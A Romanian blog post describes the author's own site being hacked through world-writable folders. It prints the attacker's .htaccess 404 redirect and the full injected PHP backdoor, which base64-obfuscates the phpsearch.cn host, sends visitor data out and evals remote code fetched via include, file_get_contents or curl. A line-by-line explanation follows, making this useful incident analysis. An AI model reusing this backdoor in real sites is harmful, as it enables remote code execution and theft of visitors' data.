Azi am învățat un lucru MARE!

Acest articol este mai vechi de 1 an. Anumite informații s-ar putea să nu mai fie de actualitate.


Azi am învățat un lucru mare! Și pentru că țin la sănătatea voastră vi-l spun și vouă.

Azi am învățat că nu e bine să umbli la blog când ești băut!

777 can happen! Mai exact am fost hăckuit. Și recunosc că din cauza mea!

Se făcea că un labă-tristă din China (phpsearch.cn) a găsit niște foldere cu CHMOD 777 și și-a făcut de cap pe acolo injectând câteva PHP-uri de forma <număr>.php, de exemplu 22314.php. Nu făceau mare căcat decât luau datele vizitatorilor despre browser, ip, țară etc. Apoi le raportau pe un server.

A reușit să modifice fișierul .htaccess făcând ca toate erorile 404 (Not Found) să fie redirectate către fișierul PHP. De altfel, ăsta e și modul în care codul lui se executa: dacă cineva ajungea la blog pe o pagină inexistentă și i se returna eroarea 404 Not Found.

Partea tristă pentru chinez a fost că am observat la doar 2 ore după „eveniment”, timp în care lumea dormea pe acolo pe unde locuiesc vizitatorii mei.

Mai jos este un exemplu de .htaccess hăckuit:

Options -MultiViews
ErrorDocument 404 //cale-catre-blog/226531.php

Și aici este codul fișierului PHP:

< ?php
error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cGhwc2VhcmNoLmNu");
if (basename($c) == basename($i) &amp;amp;&amp;amp; isset($_REQUEST["q"]) &amp;amp;&amp;amp; md5($_REQUEST["q"]) == "51e1225f5f7bca58cb02a7cf6a96dddd")
$f = $_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2FkczEu").$f.$z)));
else if($c = file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))
eval($c);
else
{
$cu = curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o = curl_exec($cu);
curl_close($cu);
eval($o);
};
?>;

Pe românește, codul de mai sus face așa:

– linia 2 dezactivează raportarea erorilor pentru ca scriptul să ruleze transparent

– liniile 3-12 colectează date despre cererea http

– linia 13 pune toate datele colectate în variabila $z

– linia 14 atribuie variabilei $f URL-ul site-ului respectiv: phpsearch.cn

– liniile 15-16 verifică dacă cererea a fost trimisă de pe serverul atacator

– linia 17 include fișierul de la adresa http://7.phpsearch.cn/?(datele colectate)

– linia 18 încearcă să încarce fișierul, dacă a eșuat includerea din linia 17

– linia 19 evaluează fișierul remote ca PHP

– liniile 22-26 încearcă folosirea extensiei CURL pentru încărcarea fișierului, ca ultimă variantă de atac.

Și uite-așa am învățat că niciodată să nu umbli la blog sau FTP când ai alcool la bord.

Shit 777 can happen!

2 Comments

  1. Da, nu e vorba doar de betie. Unii n-au pic de alcool la bord si umbla acolo fara sa stie despre ce-i vorba. Atunci ii mai grav. Macar tu ai o scuza :))

  2. Am recomandat articolul tau azi! http://blogatu.ro/2011/05/recomandarile-zilei-138.html Daca stii si alte bloguri interesante, nu ezita sa-mi lasi un comentariu la articolul cu recomandari 🙂

Ce părere ai despre ce ai citit?

Acest sit folosește Akismet pentru a reduce spamul. Află cum sunt procesate datele comentariilor tale.

© 2018 Din PTM în .ro

Theme by Anders NorenUp ↑

%d blogeri au apreciat: